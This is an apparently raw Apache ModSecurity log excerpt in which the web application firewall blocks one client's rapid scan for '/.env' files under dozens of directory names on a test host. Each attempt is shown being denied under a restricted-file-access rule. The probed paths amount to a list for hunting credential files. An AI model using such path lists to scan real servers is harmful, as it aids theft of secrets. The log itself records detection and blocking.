[Wed Feb 25 06:05:14.680081 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jsrelay/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5pgAAAAM&quot;]
[Wed Feb 25 06:05:14.680252 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jsrelay/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5pgAAAAM&quot;]
[Wed Feb 25 06:05:14.685165 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /higlass-website/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/higlass-website/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDTAAAAAU&quot;]
[Wed Feb 25 06:05:14.685403 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/higlass-website/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDTAAAAAU&quot;]
[Wed Feb 25 06:05:14.685643 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/higlass-website/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDTAAAAAU&quot;]
[Wed Feb 25 06:05:14.802303 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /home/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDTQAAAAU&quot;]
[Wed Feb 25 06:05:14.802623 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDTQAAAAU&quot;]
[Wed Feb 25 06:05:14.802866 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDTQAAAAU&quot;]
[Wed Feb 25 06:05:14.809350 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /jupyter/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jupyter/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5pwAAAAM&quot;]
[Wed Feb 25 06:05:14.809595 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jupyter/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5pwAAAAM&quot;]
[Wed Feb 25 06:05:14.809768 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jupyter/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5pwAAAAM&quot;]
[Wed Feb 25 06:05:14.844789 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /horde/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/horde/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDTgAAAAU&quot;]
[Wed Feb 25 06:05:14.845063 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/horde/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDTgAAAAU&quot;]
[Wed Feb 25 06:05:14.845239 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/horde/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDTgAAAAU&quot;]
[Wed Feb 25 06:05:14.939220 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /khanlinks/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/khanlinks/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5qAAAAAM&quot;]
[Wed Feb 25 06:05:14.939497 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/khanlinks/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5qAAAAAM&quot;]
[Wed Feb 25 06:05:14.939678 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/khanlinks/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5qAAAAAM&quot;]
[Wed Feb 25 06:05:14.942961 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hotpot-app-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hotpot-app-frontend/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDTwAAAAU&quot;]
[Wed Feb 25 06:05:14.943207 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hotpot-app-frontend/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDTwAAAAU&quot;]
[Wed Feb 25 06:05:14.943364 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hotpot-app-frontend/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDTwAAAAU&quot;]
[Wed Feb 25 06:05:14.966137 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kibana/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kibana/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5qQAAAAM&quot;]
[Wed Feb 25 06:05:14.966401 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kibana/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5qQAAAAM&quot;]
[Wed Feb 25 06:05:14.966600 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kibana/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5qQAAAAM&quot;]
[Wed Feb 25 06:05:15.052502 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /htdocs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/htdocs/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDUAAAAAU&quot;]
[Wed Feb 25 06:05:15.052886 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/htdocs/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDUAAAAAU&quot;]
[Wed Feb 25 06:05:15.053110 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/htdocs/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDUAAAAAU&quot;]
[Wed Feb 25 06:05:15.074207 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kodenames-server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kodenames-server/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5qgAAAAM&quot;]
[Wed Feb 25 06:05:15.074515 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kodenames-server/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5qgAAAAM&quot;]
[Wed Feb 25 06:05:15.074712 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kodenames-server/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5qgAAAAM&quot;]
[Wed Feb 25 06:05:15.092927 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDUQAAAAU&quot;]
[Wed Feb 25 06:05:15.093181 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDUQAAAAU&quot;]
[Wed Feb 25 06:05:15.093340 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDUQAAAAU&quot;]
[Wed Feb 25 06:05:15.104643 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kolab-syncroton/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kolab-syncroton/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5qwAAAAM&quot;]
